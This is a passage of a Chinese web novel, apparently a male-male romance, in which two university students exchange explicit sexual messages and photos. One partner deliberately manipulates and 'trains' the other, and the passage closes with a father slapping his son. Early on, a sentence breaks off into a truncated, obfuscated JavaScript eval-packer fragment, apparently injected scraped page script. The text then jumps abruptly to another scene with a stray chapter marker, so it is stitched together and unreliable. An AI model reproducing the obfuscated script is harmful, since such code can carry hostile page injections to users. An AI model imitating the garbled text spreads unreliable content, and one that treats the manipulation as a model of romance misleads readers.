沈鹤站起身往火堆旁走,视线跟开了定点锚一样,一眼就捕捉到了陈清棠。 但当他看清楚陈清棠身旁的人时…… 魏彦看他定住:“走啊?就等咱俩了。” 沈鹤这才提步过去。 陈清棠正在跟叶庭聊天,也不算聊天,只能算是叶庭单方面对他的搭讪,他甚至都懒得回两句。 就这样,叶庭还能一个人说下去,把这出独角戏唱得津津有味。 看到沈鹤过来,陈清棠往旁边挪了点,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第一把抽中国王的人是周辰,他想了想:“这样吧,三号和五号,你俩石头剪刀布,输了的人给对方烤一个鸡翅。” 众人发出很不屑的一声‘切~’。 楚希委婉提醒:“辰哥,要玩儿点劲爆的,气氛才能起来,你这样的不行。” 周辰笑呵呵:“我第一次玩儿,不会啊。” 楚希邪恶地勾起唇角:“那我给你打个样。” 他眼神扫过众人手里的牌,心里就有数了:“一号和七号,两人同时吃一个香蕉,吃得差不多为止。” 一号是个女孩,七号是个男孩,两人对视一眼,都看向楚希:“怎么吃啊?” 楚希爬起来,从水果盘子里拿了一个香蕉,把皮剥了,然后用手举在两人脑袋的中间:“吃吧,就这样吃,一人啃一边。” 众人顿时发出好响亮的‘哇偶!’,起哄地说这个好。 一号和七号都面露羞涩,却没抗拒,缓缓地凑近,然后开始就着楚希的手啃香蕉。 这个过程,两人都默契地以香蕉的中间为分界线,只小心翼翼地啃着自己这边,不越过那条线。 也要注意到自己的唇,不要碰上对方的唇。 那动作,那过程,局促又羞涩,让看的人都脸红心跳。 陈清棠饶有兴趣地眯起眼,余光却瞥见沈鹤浑身僵硬,就凑近打趣他:“怎么了?” 沈鹤耳根红了,皱着眉:“这有什么好玩的。” 陈清棠笑了下,没回答。 沈鹤当然不懂,这种假期能约出来玩儿的,一般都是在暧昧期的。 之所以让楚希来主持,就是因为他们信任楚希,私下里肯定早就商量过了。 楚希看似只是主持,实则是整场游戏的操盘手。 其他人也都有眼力见,会有意识地去促成有情人。 呵呵,他们心里情愿着呢。 估计今晚过后,这里这些人得成好几对。 很快第二把开始,沈鹤和陈清棠还是没按照楚希安排的意向走。 趁着别人玩儿游戏时,楚希忍不住发消息去问陈清棠了:你怎么回事儿啊 楚希:都给你安排好了,你又闹哪样啊 陈清棠看了眼身旁的沈鹤,沈鹤此时正低垂着眼盯着地面。 陈清棠:再等等,还不是时机 气氛还没挑起来,荷尔蒙的味道还没发酵开。 让沈鹤多看一些这种暧昧场面,多感受下,有意无意勾动他心头的火星子。 这样等会儿陈清棠才能让那把火烧起来,烧得更大更旺。 楚希:行吧 第三把,两个被抽中号码的人本身就是情侣。 两人当场舌吻起来。 众人都尖叫着起哄,让他们亲得更用力些,舌头搅得更动荡、纠缠得更紧些。 沈鹤耳根红透,咬着牙别开脸,一只手捂住陈清棠眼睛。 但那些暧昧的场面,即便不去听,也会化为很多细微的声音,蛇一样钻进人的耳朵。 陈清棠勾起一个笑,抬手覆上沈鹤的手背,拇指轻轻摩挲他腕口:“怎么了?自己不爱看,还不让我看?” 沈鹤:“别看。不雅观。” 陈清棠胸膛微颤,拿开他的手,把下巴靠在他肩头,柔声蛊惑说:“出来玩儿就放开点,释放一下自己好吗。” 沈鹤提着一口气:“我玩儿不了这个游戏。” 陈清棠一只手捏捏他耳朵:“安心。不会太过的,楚希心里有数。” 沈鹤怎么都没法相信,不再说话。 而且,不知道是不是他的错觉,从刚才起,陈清棠的小动作就有点太多了。 摩挲他的手腕,靠在他的肩头,摸他的耳朵…… 在这样极致暧昧的氛围下,沈鹤有点迷乱了,心里莫名其妙地发痒。 很快第四把开始。 陈清棠觉得是时候了,按照楚希的指示摸了张牌,然后把另一张对牌推到了沈鹤面前。 沈鹤已经不想玩儿了,正要说自己退出。 陈清棠忽然凑过来,轻声:“拿那张缺了个角的牌。快点。” 沈鹤不理解他什么意思,没动。 陈清棠压低声催促他,急得眼巴巴地:“快点,那张牌跟我的是一对的,如果你不拿……叶庭就要拿了。” 恰好这时叶庭伸出了手。 沈鹤立马下意识反应地,抢在他前面把那张牌拿走了,然后用余光睨了叶庭一眼。 像一只龇着牙捍卫自己领土的狼。 陈清棠微不可见地勾起一个满意的笑。 50-60 第51章第51章下次要狠狠~折磨我~…… 沈鹤就那样看了陈清棠好几秒,才问:“为什么。” 陈清棠笑而不答,只是把自己塞他怀里,扬起下巴轻声说:“沈鹤,我困了,抱我睡觉好不好。” 他那双眼睛还含着未退的清潮,眼尾湿漉漉的发红,让人怜爱。 嗓音也温软的,没有特意撒娇,但杀伤力完全不弱于撒娇。 在沈鹤的视角看,陈清棠就像一只吃饱了的小猫,餍足地窝在他怀里,拿毛蹭他说自己困。 沈鹤心尖都酥了,什么都顾不得了,只想满足他。 于是抱紧了陈清棠:“好,我抱你睡觉。” 两人依偎在一起,肌肤相贴,沈鹤感觉空荡荡的心脏,被温水盈满,有一种难以形容的满足感。 陈清棠好软,好香,还在发烫…… 一想到陈清棠这么烫,都是因为他,沈鹤就喉咙发紧。 而且,陈清棠明明看起来骨架不小,个子也不矮,为什么在他怀里,就显得好小一只。 沈鹤心都要化了,他忍不住地轻轻嗅着陈清棠,从柔软的乌发,到细腻微红的脸蛋,再到脖颈…… 陈清棠本来已经闭上眼睛了,又睁开:“你偷偷干什么嘛。” 沈鹤被当场抓包,有一瞬僵硬:“没。” 陈清棠膝盖顶了下:“但你又那个了,要我帮你吗。” 沈鹤眼神闪了下,最终轻吸一口气,红着脸把陈清棠的头按进自己怀里:“睡觉。” 沈鹤不想在陈清棠面前,展露自己被情欲折磨到焦躁难耐的模样。 很丑陋。 刚才不那么难以接受,是因为陈清棠也深陷泥潭,两人都不清白,即便丑陋,也是双方一起。 但现在陈清棠已经平复了……如果单单他一个人那样,沈鹤会觉得羞耻。 这一夜,陈清棠睡得很好。 爱真的是一种滋补品,跟自己爱的人在一起,觉都睡得香了。 沈鹤就不一样了,他挺了一晚上,睁着眼睛直到凌晨四点半。 脑子里着魔一般回放着昨晚的画面。 想起陈清棠在他面前摆出那样的姿势…… 想起陈清棠眼神失焦筋挛的样子…… 想起陈清棠说,不要理会他多痛,怎么撒娇求饶,只管进去…… 沈鹤连小黄文都没看过的人,哪里见识过这个啊。 属于是刚出新手村,就遇上顶级魅魔。 太蛊了,蛊得沈鹤受不了。 但又因为怕吵醒陈清棠,沈鹤动都不舍得动一下。 就这么硬生生熬了一晚上。 虽然痛苦,但又无比的幸福。 第二天沈鹤醒来时,陈清棠已经洗漱完了,东西都收拾好准备离开了。 听见沈鹤起床的细微动静,陈清棠正在给脸上擦护肤品,回头朝他笑:“醒了?” 沈鹤直勾勾地看着他,生怕少看了一眼:“你要走了吗。” 陈清棠:“嗯啊。” 沈鹤:“我们……我们什么时候才能再见面。” 不想分开。 陈清棠坐到床边,眼睛不可控地看向了沈鹤整齐的腹肌。 看了两秒,伸出食指沿着他腹肌的沟壑描摹:“舍不得我走?” 沈鹤耳朵微红,捉住那只让他身体酥麻,心头发痒的手,放在唇边亲了又亲:“嗯,舍不得。” 陈清棠眼底几分愉悦,呀,这人好像变诚实了。 换了以前,沈鹤宁愿别开脸默不作声,也不会这么老实地承认。 陈清棠:“你以前好像嘴挺硬的,怎么现在说话这么好听?” 沈鹤胳膊横过陈清棠的腿弯,直接把他整个人抱过来,抱在怀里坐着:“因为你会开心。” 每次沈鹤大方地说出自己的想法时,陈清棠眼底闪着细碎笑意的样子,还有温柔看着他的目光,实在是太让人心动了。 那种滋味太好了。 逐渐地,除非是特别羞耻、让他难以开口的事,沈鹤已经学会了‘长嘴’。 陈清棠缱绻地搂住他脖子:“乖乖。那我给你点奖励吧,想要什么?” 沈鹤:“叫我男朋友。” 陈清棠顿了下,又笑起来:“男朋友~” 沈鹤平静无波的眸子,漾起了涟漪:“再叫我的名字。” 陈清棠:“沈鹤~沈鹤是我男朋友,够了吗?” 沈鹤一把抱紧他:“不够。” 陈清棠无奈又心软,他看得出来,沈鹤这是在挽留他,不想让他走。 但从早上开始,陈清棠就一直收到家里打来电话,问他什么时候到,已经在买菜做中午饭了。 陈清棠想了想:“我们在一个城市,你要是想我了,可以来找我。” 沈鹤:“不会打扰你吗。” 陈清棠:“还好吧,你提前跟我说,我找借口出来就好。” 毕竟回家了会有父母管着,自由度肯定会降低的。 如今陈清棠也才十九岁,在父母眼里,还是个刚成年的小宝贝,还不太成熟,是会多担心一点,去哪儿肯定会多问一嘴。 沈鹤推开他,认真道:“明天我来找你。” 陈清棠:“……这么着急吗。” 分开一天都忍不了吗。 沈鹤脸色一变:“抱歉。那你什么时候空了,跟我说一声,我再去找你。” 陈清棠看他像只失落的大狗狗,顿时心软,凑上去亲他的脸:“好了,明天应该不行,我妈说要带我去看姥姥姥爷。” “后天吧,后天你来,我们……” 陈清棠笑了下,亲吻他最敏感的耳垂:“我们继续昨晚的事情……你记得提前学习,别弄疼我,我可怕疼了……” 就这么轻飘飘的一句话,让沈鹤瞬间满脸通红,心火噌地一下蹿起来,烧得他血液沸腾。 沈鹤就那样看着陈清棠,眼底酝酿着风暴:“好。” 陈清棠最后摸摸他小男朋友的脸,勾着尾音:“那我走了?” 沈鹤猛地一把揽住他的腰,把人扯进怀里,然后低头就要去吻陈清棠的唇。 但陈清棠眼疾手快地捂住了他的嘴,眸光流转若三月潋滟的春水,那样温柔的语气,说出话却格外残忍: “接吻不行哦~” 梅开二度。 沈鹤顿时像被掐住七寸的蛇,被迫收敛自己的欲望,却又难忍侵略性,他看向陈清棠的眼神,已经略微带了点焦躁。 陈清棠若无其事地推开他起身,拖着旁边的大行李箱转身走向门口。 沈鹤就看着他打开门,再拖着行李箱走到门外。 结果这时,陈清棠忽然转身进屋,飞快地走到床边,然后在沈鹤还没反应过来时,低头在他脸上亲了一口。 又趁着他呆愣时,在他脖颈上亲了一口。 最后含着撩拨勾引意味,轻咬了一下沈鹤敏感的耳垂。 看见沈鹤身子都微颤了下,陈清棠满意地勾起一个笑,朝他耳朵吹了口气:“给你的补偿……” 说完,陈清棠宛如一阵风,席卷着离开了。 房门被关上,沈鹤失魂落魄地坐在床上,就盯着那扇门盯了足足十几秒。 然后沈鹤深吸一口气,用力闭了闭眼,拿出手机给陈清棠发消息。 沈鹤:我恨你 陈清棠秒回:那,下次记得狠狠惩罚我啊 陈清棠:不要再那么快了,要狠狠地…慢慢地…长久地…惩罚我,折磨我 沈鹤口干舌燥,心跳加速。 情。欲被堵在心口,让他浑身难受,宛如一团熊熊烈火在燃烧。 沈鹤:别折磨我 陈清棠:不折磨你,奖励你~ 陈清棠:你摸摸枕头底下,那是给你的奖品 沈鹤一顿,立刻掀开枕头,然后就看见了一团黑乎乎的布料。 他那团东西拿出来,一展开,裤脚四四方方的,面料柔软,只有沈鹤手掌那么长。 沈鹤顿时面红耳赤。 陈清棠:找到了? 沈鹤心脏都跳到了嗓子眼:嗯 陈清棠:拿着它打出来 屋里好像变得格外安静,沈鹤在听见很长的一声叮——后,耳朵失聪了。 好像在被火烤一般,浑身的皮肤都开始发烫,大脑有一瞬空白。 沈鹤也不知道自己抽什么风,回过神来后,发现屏幕上他刚发出去了一句话 沈鹤:这是你穿过的吗 沈鹤瞳孔紧缩,抖着手撤回了这条消息 陈清棠早就看到了,意味深长地回他:昨天穿了半天,应该有我的气味 于是沈鹤怔怔地,不受控制地,拿着那团布料,缓缓凑到了自己的鼻尖。 心跳声震耳欲聋,耳膜都有点发疼了。 沈鹤宛如个即将犯案的罪人,先是小心翼翼地闻了一下,又立刻屏住呼吸。 不,这不对。 沈鹤也说不出来哪里不对,但他直觉这种事…… 这种事…… 很变态。 没有道德。 不应该做。 这时,陈清棠的消息又来了:检查了吗,有我的气味吗…… 沈鹤喉结艰涩地滚动,打字时敲错了好几个字母:这不对 陈清棠:哦?怎么不对了 陈清棠:我们是正当的情侣关系啊,难道不是? 沈鹤:……是 陈清棠:那……你不想检查一下吗,不想闻一闻我的气味吗 陈清棠:真的不想吗? 沈鹤额角青筋疯狂跳动,难忍地闭了闭眼:想,我想 陈清棠:那去检查吧,检查完了告诉我结果 沈鹤近乎是抖着手,把那团布料又拿了起来,然后凑到鼻尖。 他的耳朵红得要滴血,表情含着深重的罪恶。 挣扎几秒后,沈鹤心一横,用那块布料蒙住了自己的鼻子,深嗅了一口 ……啊,是香的 是陈清棠身上,惯用的清淡洗衣液的气味 夹杂着一缕荷尔蒙的气息。 沈鹤再也忍不住,欲望像开闸的洪水,一泻千里。 原本的坚持的道德感也逐渐崩坏。 沈鹤把那块布料摁在自己脸上,深深地嗅着,怎么都闻不够一般。 兴奋到充血。 陈清棠:检查好了吗 沈鹤已经不舍得放下那块布了,一边像狗一样深嗅着,一边回陈清棠消息。 沈鹤:嗯 陈清棠:有我的气味吗 沈鹤:有 陈清棠命令道:用它打出来 第52章第52章可以给你干~ 很久后,陈清棠坐上了车,寻思差不多了,就给沈鹤发消息。 陈清棠:打出来了吗 此时沈鹤正半靠在宾馆的床头,肌肉紧实的胸膛剧烈起伏着,几滴汗珠顺着他线条绷紧的脖颈,滑到了胸肌上,又沿着腹肌漂亮的沟壑没入丛林。 沈鹤微仰着头,呼吸深重粗缓,宽厚的肩膀松懈地下沉着,整个人一动不动地平复着情潮。 那块黑色的布料被他握在手里,现在已经变得肮脏龌龊了,上面点点白斑看起来凌乱又涩情。 半晌,沈鹤才从大脑空白的极致感受中,稍稍缓过神来。 拿起手机回复陈清棠时,沈鹤的眼神都还是迷离的,目光散乱。 沈鹤:……嗯 陈清棠:真乖[可爱] 陈清棠:拍照片给我看看 沈鹤还以为自己看错了,眯了眯眼睛,努力聚拢焦,又看了一遍。 结果脸上还没褪去的红,又加深了一点。 也可能是他理解错了。 沈鹤:看哪里 陈清棠意味深长:看看小沈鹤满足过后的样子 沈鹤顿时轻吸一口气。 沈鹤:……不行 陈清棠:为什么? 沈鹤握紧手机,闭了闭眼。 这是为什么的问题吗。 是个人都会有羞耻心,由于性格和家教的原因,沈鹤的羞耻心要比普通人更加强烈。 用陈清棠的那个,给自己打出来,已经是沈鹤活了快二十年,做出的最出格的事情了。 欲望被放纵的那瞬间,真的让人上瘾,难以自拔。 但得到满足过后,沈鹤的理智回笼,他又变成了那个禁欲的高岭之花,道德感和羞耻心很强,原则性也很强的沈鹤。 这时,陈清棠发了条语音过来:“想看嘛~想看看我男朋友,被我迷成什么样了~不给看?” 沈鹤把手机放在耳边,点开了播放。 温温柔柔的嗓音,配着难得撒娇的语调,尤其是‘男朋友’这个词踩在了沈鹤的重要爽点上 于是沈鹤本来已经平复的情潮,又有了卷土重来的趋势。 沈鹤很艰难地敲下两个字:不行 但其实他的理智已经动摇。 如果陈清棠再撒个娇,沈鹤根本就扛不住,要看什么都会给的。 就是这么便宜。 结果沈鹤等了会儿,陈清棠却只回了他一句:哦,好吧,那不看了 陈清棠是最懂得怎么拿捏沈鹤,让人抓心挠肝的。 已经在想着怎么凹造型的沈鹤手一顿,忽然心头一股烦躁的堵塞感。 不看了吗 真的不看了吗 是他的身体吸引力还不够强吗 沈鹤:嗯 陈清棠看到这个好像没什么语气,但隔着屏幕都能感受到一点怨念的‘嗯’字,不觉笑了出来。 行吧,他理解第一次提这种要求,是个人都难以接受。 陈清棠就是故意的,他早就知道沈鹤不会给他看那里,只不过先做一个铺垫。 心理学上有个效应,如果别人不允许你开窗,那你就说你要掀房顶,这时对方大多都会为了保住房顶,允许你开窗。 所以,为了达到目的,陈清棠先提了一个过分的要求。 沈鹤不同意在他意料之中。 陈清棠又后退一步说:那,给我看看腹肌好不好 昨天晚上,他看见沈鹤那整齐漂亮的腹肌,就可馋了,一晚上手都没舍得从沈鹤肚子上拿下来。 要分开两天,骗点男朋友的色照解解渴,不过分吧。 看到这条回复,沈鹤只犹豫了一瞬,就撩开衬衫,拍了腹肌照给他发过去了。 陈清棠看了眼,照片上只有腹肌,好像少点儿味道。 于是他指挥沈鹤:要露脸的 陈清棠:你把衣服撩起来,叼在嘴里,一只手拿手机拍照,另一只手…… 陈清棠:另一只手勾着裤腰往下拉,我要看到黑森林 沈鹤怔了一瞬,脸上顿时火辣辣的滚烫。 他咬着牙,手臂肌肉因为羞耻,绷成了漂亮的弧度。 摆好姿势后,眼一闭心一横,最终拍下了人生中第一张私房照。 陈清棠收到照片后,仔细观摩了好一会儿。 照片上的男人眼睛半眯着,眸子里闪动着难以言说的羞涩,还有挣扎,就那样欲拒还迎地看向镜头,但青筋鼓起的手,却很听话地勾着裤腰往下拉。 性感到爆炸。 有个形容词叫什么来着? 人夫感。 高岭之花爆改人夫,陈清棠满意地舔了舔唇。 呵呵,好日子还在后面。 第一次就能看到腹肌……那后面,只要循序渐进地得寸进尺,那不什么都可以吗? 陈清棠会慢慢地,一步步地突破沈鹤的道德和羞耻底线。 沈鹤忐忑地等了好一会儿,都没等到回信,忍不住发消息问 沈鹤:可以吗 陈清棠:啊,可以,看起来阳气好足,感觉吸两口我就不会体寒了 陈清棠:瞧我男朋友这身材,给我迷得字都不会打了 陈清棠的调。教小心得——对方做得不错,一定不要吝啬夸奖,努力给予正面的情绪反馈,这样下次他才会心甘情愿,甚至主动。 沈鹤喉结微动,眸色明显亮了两分 沈鹤:你很喜欢? 陈清棠:喜欢,我都应了~ 沈鹤心头一颤,难耐地闭了闭眼。 他怎么觉得,陈清棠现在说话越来越直白…… 但沈鹤又不反感,甚至会因为陈清棠的话,被撩到面红耳赤,还会诚实地有点生理反应。 那可是陈清棠。 在外人面前,温和疏离,总是很有距离感,看起来清纯到不可亵渎的陈清棠,宛如一朵朝阳中带着露水的海棠花。 但这样的陈清棠,却会在他面前露出这般艳丽勾人,极致蛊惑的模样。 这让沈鹤怎么能不心动。 反差感永远是最好的春。药。 眼看要到十二点退房的时间了,沈鹤不想竖着一根棍子出去,于是转移话题。 沈鹤:你上车了吗 陈清棠:嗯,要到家了 沈鹤:好,到家跟我说一声,注意安全 陈清棠:嗯呐 沈鹤整理了下房间,他昨晚来的时候,就什么也没带,所以没什么可收拾的。 但走的时候,沈鹤带走了两样东西。 一样是一个装着陈清棠用过的纸巾的口袋,另一样是陈清棠的内裤。 下楼退房时,沈鹤俊气的脸红潮久久不退。 手一直揣在兜里,摸着那块黑色的布料。 好像有岩浆顺着指尖烧到了他心口。 退房时工作人员问他:“请问押金是退还现金,还是原路退到付款的支付宝账号?” 沈鹤口干舌燥,什么都听不进去,只低着头胡乱应:“都可以。” 工作人员:“那这边给您退到支付宝?” 沈鹤:“嗯。” 交还门卡后,沈鹤近乎匆匆地离开了酒店。 中途打了个车,直接回了家。 等到家后,阿姨叫他,沈鹤也没听见,埋头就进了自己房间。 直到光上房门,把陈清棠的内裤从兜里拿出来,沈鹤才深深地吸了口气,得到了解脱。 他坐在床边,看着那条被他弄脏的内裤,想着要不要洗了后天一起还给陈清棠。 但沈鹤私心里又不想还给陈清棠。 这个想法出来时,沈鹤都对自己忍无可忍,揉了把脸。 变态。 最终沈鹤选择,自己打了盆水在房间里,偷偷把内裤洗了,快速烘干后,放在了枕头底下。 忙完后,沈鹤看了眼手机,没有陈清棠的消息。 还没到家吗。 沈鹤坐下来,现在心终于静了,他才想起一件事。 于是沈鹤点开抖因,上网发了求助贴。 ——跟男朋友确认关系后,他却不允许我接吻,为什么 不知名网友1:牛逼,一晚上过去,你对他的称呼,就从‘朋友’变成了‘男朋友’ 不知名网友2:哥们儿,你这是彻底弯了吧,默认自己是gay了吧 沈鹤认真纠正他:我不是gay,我只是喜欢他,只喜欢他 沈鹤:如果是他的话,性取向就变得无所谓了 不知名网友1:嘶,突然被塞了一嘴狗粮 不知名网友3:一路追更到这里,你俩终于还是在一起了 不知名网友3:所以昨晚……你俩真do了?你是1?他是0?你把他睡了? 沈鹤耳朵又慢慢爬上绯色,他不愿意回答这个问题。 不是因为别的什么,而是不想让别人用旖旎的目光去审视陈清棠。 不知名网友3:……不是哥们儿,你还删评论啊 不知名网友3:我上条评论也没说啥啊,就问你是不是把他睡了,你给我删了做什么 沈鹤:不要说那句话,对他很不尊重 不知名网友3:哪句?你把他睡了? 下一秒,这条评论又消失了。 不知名网友3:……好吧,我懂了,我不说了 沈鹤:所以有没有人能解答下我的问题 不知名网友1:嗯……你们是在床上确认关系的吗 沈鹤:是 沈鹤明白,确认关系这种事必须要很郑重,来表达对对方的重视程度。 但昨晚的情况,他快被陈清棠撩拨到发疯了,箭在弦上不得不发。 只能草草先定下名分,然后才能继续后面的事。 沈鹤:我早就想好了,后面会给他补一个告白 不知名网友1:我估计应该就是你没有一个正式的表白仪式,他觉得这段感情还不完整 不知名网友1:所以他扣押了该给你的初吻 不知名网友2:我怎么第一反应就是,也许你嘴巴有味道,所以对方才不愿意接吻呢 沈鹤一顿,立马用手捂着嘴巴,哈了口气。 不知名网友3:应该就是他们俩说的那两种情况,你要不先都试试? 沈鹤:好,谢谢 跟网友聊完,沈鹤大概有了个方向。 后面又搜了点生理知识,认真去了解男同之间该怎么做。爱。 直到晚上,沈鹤事情忙完后,再看手机,还是没有陈清棠的消息。 沈鹤:在吗 此时陈清棠正舒舒服服地跟楚希两人,窝在书房里打打游戏看看电影。 陈清棠:在,怎么了 一边打字回沈鹤,陈清棠一边同楚希聊天:“你不是说,暑假跟周辰回他老家吗。” 楚希抓了把薯片塞嘴里:“嗐,他想先在城里打一个月的工,好像是他们班的一个老师,看中他的编程能力,说有个项目想带他一起做。” 陈清棠:“那他挺厉害啊。” 这才大一呢,能力就这么强,前途一片光明啊。 楚希臭屁:“那是,我啥时候眼瞎过。” 陈清棠又问:“那你们俩关系进展到什么程度了?” 一提到这个,楚希就有点没精神:“就那样呗。看起来他是喜欢我的,但他不表白,鬼知道在打什么主意。” 又想起什么,楚希咧着嘴傻乐:“他还偷偷亲我你知道吗,就有次我陪他上课,我有点困了就趴着睡觉,然后他以为我睡着了……” 陈清棠若有所思:“那他知道你喜欢他吗。” 楚希:“大概知道吧。” “他那个人,跟沈鹤一样的,正得发邪,如果他不确定我是喜欢他的,宁愿憋死自己也不会偷亲我。” 陈清棠点点头。 楚希凑过来抱着他胳膊晃:“唉,好想确认名分啊,我想跟他做。” 陈清棠不觉笑起来:“不害臊。” 楚希:“这有什么丢脸的,你不也馋沈鹤身子,诶你俩昨晚成功没?” 陈清棠一挑眉:“没。他太木了,什么都不会,我指挥他一下,他才动一下。” 陈清棠合理怀疑,沈鹤甚至连该从哪里进,他都不知道。 陈清棠:“你这么一说,我想起了,有没有片儿?分享我几部,我发给沈鹤,让他学习。” 楚希立刻来了劲儿:“你问对人了吧,等着,我这就给你打包。” 趁着楚希忙活的空荡,陈清棠继续跟沈鹤聊天。 沈鹤:一直没收到你的消息,问问 陈清棠:哦,只是问问? 沈鹤:嗯 陈清棠:好吧,那我们别聊了 他还治不了沈鹤? 沈鹤:不,我……我想你 陈清棠嘴角都压不住,恰好这时收到了楚希发来的视频,他直接转发给沈鹤。 陈清棠:看这个,好好学习 发完这条消息后,陈清棠又觉得不太舒服,很快把那几个视频撤回了。 楚希凑过来看:“诶你撤回干嘛。” 陈清棠淡淡地:“不能让他看其他男人的裸。体。” 这种专门拍的视频,里面的小受身材都比较好,而且处处都很漂亮。 陈清棠虽然自信不比他们差,但一想到沈鹤也许会对别人产生性。欲,就很反感。 楚希笑得腰肢乱颤:“你这占有欲也很强啊。” 陈清棠不可置否。 还有个原因是,这种视频里的小受,一般都对攻有明显的讨好意味,在床上时,基本是没什么自主意识的,像个任由攻摆弄的布娃娃。 陈清棠不喜欢,他更喜欢在床上占据主导地位,喜欢掌控对方,看对方失控。 所以他会把沈鹤,往喜欢被对方掌控的方向去引导。 现在的沈鹤还是一张白纸,要怎么涂抹,那还不是全由陈清棠说了算? 陈清棠把这些想法说给楚希听了,并给了他一个建议:“你家周辰也是一张白纸,所以你可以把他,也往你喜欢的XP方向去调。教。” 楚希忍不住嘿嘿笑出声,脑子里已经有主意了:“还是你行,牛逼。” 这时沈鹤回了信:是片儿吗,我不喜欢那个 沈鹤:除了你的身体,其他男人会让我恶心 沈鹤其实在陈清棠撤回前,已经看到了视频上不堪入目的封面。 陈清棠眉眼里揉开几分愉悦。 楚希激动地打他的胳膊:“我草真敢说啊!这种话他都说得出口,不肉麻吗!我鸡皮疙瘩都起来了!” 陈清棠一边打字一边说:“我不觉得肉麻就好。” 就是要这种效果。 陈清棠想了想,把很久前楚希分享给他的【高冷骚攻被控蛇的日日夜夜】,这篇**小说,给沈鹤发了过去。 陈清棠:里面有详细的男男爱爱教程,认真学 沈鹤:好 楚希一眼就看透了陈清棠的小心思:“也是给你吃上国宴了,惦记好久了吧?” 陈清棠:“嗯哼~” 这时沈鹤又发来消息:后天见面,我能亲吻你吗 陈清棠:可以啊 沈鹤:接吻也可以吗 陈清棠瞬间变脸无情:哦,那个不行~ 于是头顶的备注框就变成了[对方正在输入中……] 楚希好奇地问:“你们还没接吻啊?为啥不行啊?” “不是,你俩都睡了,为啥还接吻不行?” 陈清棠平和道:“记得我上次跟你说的话吗。” 楚希回忆了下:“哦,你是怕他跟你do了后,快速冷淡下来,所以用接吻钓着他?” 陈清棠指腹摩挲着手机壳:“用接吻钓着他是真的,但不是怕他do完得到满足后,就对我冷淡下来。” 沈鹤不是那种提起裤子就不认账的人。 而且看沈鹤的势头,别说do一次,就是再do上一百次,他也未必能满足。 陈清棠觉得,沈鹤更倾向于是那种,开了荤后,彻底从禁欲高岭之花,变成有性。瘾的痴汉。 毕竟上辈子陈清棠可是深有体会。 楚希怎么都琢磨不透:“那你还钓着他干嘛?你俩不都已经在一起了吗。” 陈清棠静默片刻:“我要他爱我,并渴望我也爱他。” 楚希:“??他不都给你告白,说爱你了吗。” 搞不懂,这难道不是已经爱上了吗。 陈清棠却是笑了:“你觉得爱是什么?” 楚希思考了下,又烦躁地揉了揉头:“哎呀不知道,我哪里想得有你那么深。” 也是,陈清棠都活了两辈子了,上辈子在那段无望感情里挣扎的几年,让他对爱情有了很深刻的体验。 并且让他清楚地明白,自己想要的爱情是什么样的。 但楚希只是个刚满十九岁的小男生,他的人生阅历,还有对爱情的认知,以及对自己想要什么,这些都不如陈清棠想得那么清楚透彻。 楚希只知道,他喜欢周辰,他爱跟周辰待在一起,这就是爱情。 楚希:“那你认为爱情是什么样的?” 陈清棠说出了很久前,他在辩论社团的餐会上,说过的一段话: “我欣赏你的美好 我理解你的思想 我接纳你的不同 我亲吻你的伤疤 我拥抱你的不堪 我热烈地爱着你的灵魂。” 陈清棠:“这一切的前提是,我们彼此互相了解,互相看见对方隐藏起来的那些面,还有那些伤口和脆弱。” 互相走进对方的心。 楚希似懂非懂:“所以你认为,你跟沈鹤还不够了解对方?” 陈清棠耸耸肩:“还差得远。” 楚希:“那你的意思是,他其实并不爱你?” 陈清棠摇摇头:“他爱我,但他没懂爱,没懂爱情。” 陈清棠丝毫不怀疑,沈鹤会对他好,对他无与伦比的好,把一切都给他,会心疼他,怜爱他,不让他受一点委屈,有一点难过…… 但沈鹤能做到这个程度,是因为沈鹤本身就是一个很好的人。 沈鹤觉得自己爱陈清棠,所以他应该要对陈清棠很好很好。 一半出于他爱陈清棠的动力,一半出于沈鹤自身高尚的人品,还有责任感。 但一段感情,只有‘我会对你很好’,这就是爱吗。 陈清棠想要的,是沈鹤对他很好吗。 他是缺人对他好吗? 那他还找什么恋人,回家找爸妈吧。 世界上不可能有人会比父母的爱,更纯粹、更深厚了。 楚希听了半天还是觉得很混乱:“他不懂爱?到底哪里不懂?我也不懂了。” 陈清棠知道光凭嘴皮子,是不可能让楚希理解的了,于是说: “后天他来找我,要一起去接他吗?我给你演示下。” 楚希:“好啊好啊!反正我也是闲着!” — 见面的前一天 沈鹤已经通宵看完了陈清棠发给他的文档。 那个文档的冲击力实在太强了,沈鹤直接打开了新世界的大门,看完后很久,他都还有些缓不过神来。 最后沈鹤还是觉得,光看小说不够。 为了不伤到陈清棠,沈鹤去找了一些科学的资料,逐字逐句地进行学习。 了解到出在里面,可能会让陈清棠有得病的风险,沈鹤下午又急匆匆地去了趟医院,进行了体检。 这是为了能让陈清棠安心,给他一份安全感的保障。 体检报告要几天才能拿到,沈鹤回家的路上,又去超市买了桃,还有一些陈清棠要用的工具。 怕里面含有有害成分,沈鹤光是挑牌子,都挑了两小时。 等回到家时,已经是晚上九点多了。 往常这个时候,正是父母下班回家的点。 沈鹤进了门,轻手轻脚地上楼,却忽然被沈父叫住。 沈父:“去哪儿了。” 沈鹤要上楼梯的脚僵在原地:“超市买点东西。” 沈父靠着墙随意地站着,身上还穿着笔挺的西装,只换了拖鞋,看得出他也刚到家:“下来。” 沈鹤:“有事吗。” 沈父只是平和地看着他,再次重复:“下来。” 沈鹤紧了紧拳头,把拎着的口袋放在原地,慢慢走下去,走到沈父跟前去。 他们就这样,沈父的话就是铁令,不管有没有道理,有没有原因,沈鹤必须遵从。 沈父语气沉稳,甚至可以称得上是温和:“听说你要转专业?” 沈鹤呼吸变得轻慢:“嗯。” 沈父的人脉很广,沈鹤学院的院长,跟沈父就是认识的。 所以转专业的事,沈鹤一早就知道会瞒不住,他早料到会有父子俩对峙这一天。 但沈鹤以为,起码也得大二开学,他已经转了专业,这件事板上钉钉了,才会被发现。 没想到这一天来得这么早。 屋里的气氛变得沉闷,好像在酝酿着一场滔天的风暴。 沈鹤呼吸都变得小心翼翼。 沈父:“我怎么不知道你要转专业?自己拿的主意?” 沈鹤头微微低着:“嗯。” 沈父忽然笑了声。 下一刻,一个巴掌甩到了沈鹤脸上。 沈鹤直接被扇得踉跄后退。 又因为没站稳,后脚跟踩到了楼梯,身子摇摇欲坠,额头直接撞在了楼梯的扶手上。 咚的一声闷响,沈鹤好像听见了头骨发出的回响声。 